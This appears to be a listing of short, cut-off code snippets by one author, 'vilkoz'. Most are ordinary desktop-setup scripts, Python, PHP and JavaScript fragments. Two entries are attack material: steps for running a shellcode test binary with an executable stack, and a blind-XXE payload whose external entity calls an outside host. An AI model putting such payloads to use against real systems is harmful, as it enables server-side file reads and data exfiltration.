vilkoz

to run this:
1. Compile
  gcc shell_code_test.c -o shell_code_test
2. Mark binary as requiring executable stack (if you do not have execstack - sudo apt-get install prelink)
  execstack -s shell_code_test
3. Run with strace (to see syscalls)
  strace ./shell_code_test

vilkoz

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

vilkoz

//https://cheatera.unit.ua/42/projects/matcha
g = document.querySelectorAll('.highcharts-axis-labels > text > tspan');
a = [];
for (let i = 0; i < g.length; i++)
{
  a.push(g[i].innerHTML);
}
a = a.map(function(x) {return x.split(" ")[1];});
a.filter(function(x) {return x});

vilkoz

import sys,os
import curses
import json
from subprocess import check_output

from draw_menu import clear, my_raw_input
from tcp_client import tgcli_send_command

class NcChat():
    def __init__(self, user):

vilkoz

#!/usr/bin/env python3

def generate_empty_map(x, y):
    m = []
    for _ in range(y):
        row = []
        for __ in range(x):
            row.append(' ')
        m.append(row)
    return m

vilkoz

systemctl --user import-environment DISPLAY
xrandr --setprovideroutputsource modesetting NVIDIA-0
xrandr --auto
exec i3
#exec startkde

vilkoz

Add fbdir option to Xvfb object:

vdisplay = Xvfb(width=1920, height=1080, colordepth=24, fbdir="/tmp/")

This option will tell xfvb to save dumps of its contents to PROVIDED_FOLDER/Xvfb_screen<n>

The dump file will be in .xwd format, so it needs to be converted to some format supported by image viewers. For the convenience you can use the following script:

vilkoz

<?php

namespace common\components\rateLimiter;

use Yii;
use yii\base\BaseObject;
use yii\filters\RateLimitInterface;

/**
 * API rate limiter.

vilkoz

MITMproxy

brew install mitmproxy

Terminal interface:

mitmproxy -p 8888

vilkoz

#!/bin/bash
# ~/.config/polybar/clickable_date
day=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f3)
month=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f2)
year=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f1)
time=$(timedatectl | grep "Local" | awk '{print $5}' | cut -d ":" -f1,2)

echo "$day-$month-$year $time"